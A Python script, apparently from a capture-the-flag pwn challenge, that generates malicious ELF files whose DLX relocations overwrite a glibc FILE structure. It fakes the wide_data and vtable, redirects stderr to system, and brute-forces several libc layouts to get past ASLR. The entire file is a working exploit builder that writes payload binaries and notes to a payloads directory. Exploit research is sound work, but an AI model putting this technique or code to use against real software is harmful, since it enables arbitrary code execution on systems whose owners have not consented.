178 lines
6.6 KiB
Python
178 lines
6.6 KiB
Python
import argparse
|
|
import importlib.util
|
|
from pathlib import Path
|
|
|
|
|
|
HERE = Path(__file__).resolve().parent
|
|
spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py")
|
|
builder_mod = importlib.util.module_from_spec(spec)
|
|
spec.loader.exec_module(builder_mod)
|
|
|
|
R_DLX_NONE = 0
|
|
R_DLX_RELOC_16 = 2
|
|
|
|
EXPECTED_RELOCS = 25
|
|
DEBUG_SIZE = 144
|
|
|
|
OFF_IO = -0x46A0
|
|
OFF_SEC = 0xB20
|
|
RBASE = 0x1F0
|
|
|
|
FILE_FLAGS = OFF_IO
|
|
FILE_BUF_BASE = OFF_IO + 0x20
|
|
FILE_SYSTEM_SLOT = OFF_IO + 0x68
|
|
FILE_WIDE_DATA = OFF_IO + 0xA0
|
|
FILE_VTABLE = OFF_IO + 0xD8
|
|
SECTION_SIZE_LOW = OFF_SEC + 0x38
|
|
SECTION_SIZE_HIGH = OFF_SEC + 0x3C
|
|
|
|
BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00)
|
|
WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,)
|
|
STDERR_TO_SYSTEM_BE32_DELTAS = (
|
|
0x7042E500,
|
|
0x6F42E600,
|
|
0x7043E4FF,
|
|
0x6F43E5FF,
|
|
0x7043E5FF,
|
|
0x6F43E6FF,
|
|
)
|
|
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002
|
|
|
|
LAYOUTS = (
|
|
{
|
|
"name": "orig",
|
|
"off_io": OFF_IO,
|
|
"off_sec": OFF_SEC,
|
|
"sec_size_offset": 0x38,
|
|
"rbase": RBASE,
|
|
"buf_deltas": BUF_TO_FILE_BE32_DELTAS,
|
|
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
|
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
|
},
|
|
{
|
|
"name": "wsl2404",
|
|
"off_io": -0x3690,
|
|
"off_sec": 0xBB0,
|
|
"sec_size_offset": 0x38,
|
|
"rbase": 0x220,
|
|
"buf_deltas": (0x702FFF00, 0x6F300000),
|
|
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
|
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
|
},
|
|
{
|
|
"name": "gnu2461",
|
|
"off_io": -0x3690,
|
|
"off_sec": 0xBB8,
|
|
"sec_size_offset": 0x40,
|
|
"rbase": 0x190,
|
|
"buf_deltas": (0x702FFF00, 0x6F300000),
|
|
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
|
|
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
|
|
},
|
|
)
|
|
|
|
|
|
def add_pi16_reloc(chain, target, delta, note):
|
|
actual_idx = len(chain.relocs) + (2 if target < 0 else 0)
|
|
chain._set_address_field(actual_idx, target & 0xFFFFFFFF)
|
|
if target < 0:
|
|
chain._patch_negative_address_for_index(actual_idx)
|
|
idx = len(chain.relocs)
|
|
chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16))
|
|
chain.notes.append((idx, target, delta & 0xFFFFFFFF, note))
|
|
chain._set_address_field(idx, target & 0xFFFFFFFF)
|
|
|
|
|
|
def base_memory(flag_byte4, off_io, off_sec, rbase):
|
|
memory_base = off_io - 0x100
|
|
memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80)
|
|
memory = bytearray(memory_end - memory_base)
|
|
flags_idx = off_io - memory_base
|
|
memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0])
|
|
return memory_base, memory
|
|
|
|
|
|
def build(out_dir):
|
|
out_dir.mkdir(parents=True, exist_ok=True)
|
|
outputs = []
|
|
for layout in LAYOUTS:
|
|
off_io = layout["off_io"]
|
|
off_sec = layout["off_sec"]
|
|
rbase = layout["rbase"]
|
|
file_flags = off_io
|
|
file_buf_base = off_io + 0x20
|
|
file_system_slot = off_io + 0x68
|
|
file_wide_data = off_io + 0xA0
|
|
file_vtable = off_io + 0xD8
|
|
section_size_low = off_sec + layout["sec_size_offset"]
|
|
section_size_high = section_size_low + 4
|
|
|
|
for flag_byte4 in (0x05, 0x06):
|
|
for buf_delta in layout["buf_deltas"]:
|
|
for wide_delta in layout["wide_deltas"]:
|
|
for system_delta in layout["system_deltas"]:
|
|
memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase)
|
|
chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory)
|
|
|
|
chain.write_bytes4(file_flags, b"P\x00\x00\x00")
|
|
chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff")
|
|
chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff")
|
|
chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable")
|
|
chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system")
|
|
chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data")
|
|
add_pi16_reloc(
|
|
chain,
|
|
file_vtable,
|
|
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16,
|
|
"FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow",
|
|
)
|
|
|
|
while len(chain.relocs) < EXPECTED_RELOCS:
|
|
chain.relocs.append((0, 0, R_DLX_NONE))
|
|
chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE"))
|
|
if len(chain.relocs) != EXPECTED_RELOCS:
|
|
raise ValueError(f"unexpected reloc count {len(chain.relocs)}")
|
|
|
|
name = (
|
|
f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_"
|
|
f"b{buf_delta:08x}_s{system_delta:08x}"
|
|
)
|
|
out = out_dir / f"{name}.bin"
|
|
notes = out_dir / f"{name}.notes"
|
|
out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs))
|
|
notes.write_text(
|
|
"\n".join(
|
|
[
|
|
f"layout={layout['name']}",
|
|
f"flag_byte4=0x{flag_byte4:02x}",
|
|
f"buf_delta=0x{buf_delta:08x}",
|
|
f"wide_delta=0x{wide_delta:08x}",
|
|
f"system_delta=0x{system_delta:08x}",
|
|
"command=P",
|
|
f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}",
|
|
f"sec_size_offset={layout['sec_size_offset']:#x}",
|
|
"",
|
|
]
|
|
+ [
|
|
f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}"
|
|
for idx, target, symv, note in chain.notes
|
|
]
|
|
)
|
|
+ "\n",
|
|
encoding="ascii",
|
|
)
|
|
outputs.append(out)
|
|
return outputs
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--out-dir", type=Path, default=HERE / "payloads")
|
|
args = ap.parse_args()
|
|
for out in build(args.out_dir):
|
|
print(out.resolve())
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|